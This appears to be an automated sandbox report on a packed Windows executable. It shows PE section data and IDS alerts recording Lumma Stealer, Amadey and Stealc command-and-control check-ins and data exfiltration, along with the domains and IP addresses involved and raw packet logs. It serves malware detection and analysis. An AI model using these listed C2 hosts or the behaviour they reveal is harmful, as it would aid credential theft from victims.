add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	614609137e6cc82366f61670387bfc9f	False	0.9980836108934169	data	7.981028282456901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rdpqavxy	0x5b000	0x2a2000	0x2a1800	3685fa66135207e541c045e6e0e99fcf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vlmkkwpy	0x2fd000	0x1000	0x600	559817c60140da3140f127c0f784da57	False	0.6243489583333334	data	5.3763761530025285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fe000	0x3000	0x2200	4aefe01fd10e67a731e646c624ca0f97	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T12:13:02.094860+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50033	188.114.97.3	443	TCP
2024-11-01T12:13:02.094860+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50033	188.114.97.3	443	TCP
2024-11-01T12:13:09.597549+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	58483	1.1.1.1	53	UDP
2024-11-01T12:13:09.612751+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	57301	1.1.1.1	53	UDP
2024-11-01T12:13:09.623606+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	65325	1.1.1.1	53	UDP
2024-11-01T12:13:09.635100+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	50915	1.1.1.1	53	UDP
2024-11-01T12:13:09.645585+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.7	59750	1.1.1.1	53	UDP
2024-11-01T12:13:10.291626+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:13:10.291626+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:13:10.866258+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:13:10.866258+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:13:12.753477+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:13:12.753477+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:13:13.201469+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:13:13.201469+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:13:14.050357+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49702	188.114.97.3	443	TCP
2024-11-01T12:13:14.050357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	188.114.97.3	443	TCP
2024-11-01T12:13:14.549217+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49702	188.114.97.3	443	TCP
2024-11-01T12:13:16.627758+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49710	188.114.97.3	443	TCP
2024-11-01T12:13:16.627758+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49710	188.114.97.3	443	TCP
2024-11-01T12:13:18.211708+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49719	188.114.97.3	443	TCP
2024-11-01T12:13:18.211708+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49719	188.114.97.3	443	TCP
2024-11-01T12:13:19.731850+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49729	188.114.97.3	443	TCP
2024-11-01T12:13:19.731850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49729	188.114.97.3	443	TCP
2024-11-01T12:13:22.358752+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49741	188.114.97.3	443	TCP
2024-11-01T12:13:22.358752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49741	188.114.97.3	443	TCP
2024-11-01T12:13:22.363211+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	49741	188.114.97.3	443	TCP
2024-11-01T12:13:24.580170+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.7	49746	TCP
2024-11-01T12:13:25.937763+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49765	188.114.97.3	443	TCP
2024-11-01T12:13:25.937763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49765	188.114.97.3	443	TCP
2024-11-01T12:13:26.664504+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49765	188.114.97.3	443	TCP
2024-11-01T12:13:27.579219+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49772	185.215.113.16	80	TCP
2024-11-01T12:14:34.703742+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49977	185.215.113.43	80	TCP
2024-11-01T12:14:38.057115+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49979	185.215.113.16	80	TCP
2024-11-01T12:14:42.004223+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49978	TCP
2024-11-01T12:14:43.104384+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49980	185.215.113.43	80	TCP
2024-11-01T12:14:43.283259+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	49778	1.1.1.1	53	UDP
2024-11-01T12:14:43.294512+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	58707	1.1.1.1	53	UDP
2024-11-01T12:14:43.304532+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	62081	1.1.1.1	53	UDP
2024-11-01T12:14:43.314476+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	61661	1.1.1.1	53	UDP
2024-11-01T12:14:43.944625+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:14:43.944625+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:14:44.008138+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49981	185.215.113.16	80	TCP
2024-11-01T12:14:44.465094+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:14:44.465094+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:14:45.182099+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49983	188.114.97.3	443	TCP
2024-11-01T12:14:45.182099+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49983	188.114.97.3	443	TCP
2024-11-01T12:14:45.676833+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49983	188.114.97.3	443	TCP
2024-11-01T12:14:45.676833+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49983	188.114.97.3	443	TCP
2024-11-01T12:14:47.512987+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49984	188.114.97.3	443	TCP
2024-11-01T12:14:47.512987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49984	188.114.97.3	443	TCP
2024-11-01T12:14:48.149567+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49984	188.114.97.3	443	TCP
2024-11-01T12:14:48.473360+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49985	185.215.113.43	80	TCP
2024-11-01T12:14:49.050044+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49987	188.114.97.3	443	TCP
2024-11-01T12:14:49.050044+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49987	188.114.97.3	443	TCP
2024-11-01T12:14:49.393211+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49988	185.215.113.16	80	TCP
2024-11-01T12:14:49.627492+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49986	185.215.113.206	80	TCP
2024-11-01T12:14:50.993765+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49989	188.114.97.3	443	TCP
2024-11-01T12:14:50.993765+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49989	188.114.97.3	443	TCP
2024-11-01T12:14:53.886010+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49990	185.215.113.43	80	TCP
2024-11-01T12:14:54.674058+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49992	188.114.97.3	443	TCP
2024-11-01T12:14:54.674058+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49992	188.114.97.3	443	TCP
2024-11-01T12:14:54.833327+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49991	185.215.113.16	80	TCP
2024-11-01T12:14:54.833327+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49991	185.215.113.16	80	TCP
2024-11-01T12:14:58.571371+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50000	188.114.97.3	443	TCP
2024-11-01T12:14:58.571371+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50000	188.114.97.3	443	TCP
2024-11-01T12:14:58.588671+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	50000	188.114.97.3	443	TCP
2024-11-01T12:14:58.902316+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49999	185.215.113.206	80	TCP
2024-11-01T12:14:59.480122+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50001	185.215.113.43	80	TCP
2024-11-01T12:15:02.226192+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50004	188.114.97.3	443	TCP
2024-11-01T12:15:02.226192+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50004	188.114.97.3	443	TCP
2024-11-01T12:15:02.718717+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50004	188.114.97.3	443	TCP
2024-11-01T12:15:03.678729+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50007	185.215.113.16	80	TCP
2024-11-01T12:15:03.972620+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	54026	1.1.1.1	53	UDP
2024-11-01T12:15:04.538688+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	55530	1.1.1.1	53	UDP
2024-11-01T12:15:04.550871+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	61366	1.1.1.1	53	UDP
2024-11-01T12:15:04.563463+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	55035	1.1.1.1	53	UDP
2024-11-01T12:15:05.186913+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:05.186913+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:05.772930+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:05.772930+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:06.564040+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:06.564040+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:07.038672+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:07.038672+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:09.587675+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50026	188.114.97.3	443	TCP
2024-11-01T12:15:09.587675+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50026	188.114.97.3	443	TCP
2024-11-01T12:15:11.286110+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50028	188.114.97.3	443	TCP
2024-11-01T12:15:11.286110+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50028	188.114.97.3	443	TCP
2024-11-01T12:15:38.634892+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	61343	1.1.1.1	53	UDP
2024-11-01T12:15:39.118975+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	54607	1.1.1.1	53	UDP
2024-11-01T12:15:39.402907+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	50222	1.1.1.1	53	UDP
2024-11-01T12:15:39.913604+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	60193	1.1.1.1	53	UDP
2024-11-01T12:15:40.898958+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50030	188.114.97.3	443	TCP
2024-11-01T12:15:40.898958+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50030	188.114.97.3	443	TCP
2024-11-01T12:15:41.405135+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50030	188.114.97.3	443	TCP
2024-11-01T12:15:41.405135+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50030	188.114.97.3	443	TCP
2024-11-01T12:15:47.289416+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50031	188.114.97.3	443	TCP
2024-11-01T12:15:47.289416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50031	188.114.97.3	443	TCP
2024-11-01T12:15:47.788498+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50031	188.114.97.3	443	TCP
2024-11-01T12:15:47.788498+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50031	188.114.97.3	443	TCP
2024-11-01T12:15:48.538743+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50032	188.114.97.3	443	TCP
2024-11-01T12:15:48.538743+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50032	188.114.97.3	443	TCP
2024-11-01T12:15:49.107153+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50032	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 12:13:09.666096926 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:09.666130066 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:09.666290045 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:09.669300079 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:09.669322014 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.291526079 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.291625977 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.295408964 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.295419931 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.295685053 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.348005056 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.392494917 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.392523050 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.392637968 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.866281986 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.866383076 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.866444111 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.868889093 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.868911982 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:10.868942022 CET	49699	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:10.868947983 CET	443	49699	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:11.738673925 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:11.738711119 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:11.738781929 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:11.746886015 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:11.746902943 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:12.753282070 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:12.753477097 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:12.754595995 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:12.754604101 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:12.754837036 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:12.756104946 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:12.756127119 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:12.756174088 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.201478958 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.201529026 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.201561928 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.201596022 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.201615095 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.201688051 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.201766014 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.202043056 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.202074051 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.202100039 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.202119112 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.202127934 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.202152967 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.202594042 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.202641964 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.202649117 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.245562077 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.320841074 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.321034908 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.321069002 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.321110964 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.321125984 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.321171999 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.321171999 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.321216106 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.321270943 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.321305990 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.321310997 CET	49700	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.321316957 CET	443	49700	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.415967941 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.415999889 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:13.416090012 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.416343927 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:13.416357040 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:14.050242901 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:14.050357103 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:14.051863909 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:14.051873922 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:14.052115917 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:14.053391933 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:14.053513050 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:14.053545952 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:14.549223900 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:14.549319983 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:14.549376011 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:14.549479961 CET	49702	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:14.549495935 CET	443	49702	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:16.011795044 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:16.011821032 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:16.011878014 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:16.012501001 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:16.012512922 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:16.627624989 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:16.627758026 CET	49710	443	192.168.2.7	188.114.97.3
